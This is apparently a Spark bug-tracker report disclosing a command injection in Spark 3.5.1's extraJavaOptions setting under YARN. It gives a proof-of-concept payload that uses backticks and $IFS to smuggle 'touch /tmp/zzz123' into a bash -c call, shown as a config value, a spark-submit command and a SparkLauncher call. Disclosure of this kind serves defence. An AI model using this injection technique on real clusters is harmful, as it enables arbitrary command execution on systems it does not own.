[SPARK-50240] Command Execution Vulnerability in Spark (JavaOptions)

• Type: Bug
• Status: Open
• Priority: Critical
• Resolution: Unresolved
• Affects Version/s: 3.5.1
• Component/s: Spark Submit
• Assignee: Unassigned
• Reporter: Xiaotong
• Created: 1 week ago 08:06
• Updated: Yesterday 02:53

Description

We found that Spark allow user to upload jar packet with`extraJavaOptions` ,

 

When instantiating a JAR package, use the javaOption configuration construct to execute the command if you configure the advanced optional parameters:

spark.executor.extraJavaOption:

\'touch\$IFS/tmp/zzz123|'

The instance executes the jar package, uses the Yarn mode, and injects 'touch /tmp/zzz123' into the bash -c execution command.

Command as:

spark-submit --class JavaWordCount --master yarn --deploy-mode client --conf spark.executor.extraJavaOptions="\`touch\$IFS/tmp/zzz123\`" test.jar 

for java:

sparkLauncher.setConf("spark.executor.extraJavaOptions", "`touch$IFS/tmp/zzz123`"); 

Spark execution location:

/yarn/src/main/scala/org/apache/spark/deploy/yarn/ExecutorRunnable.scala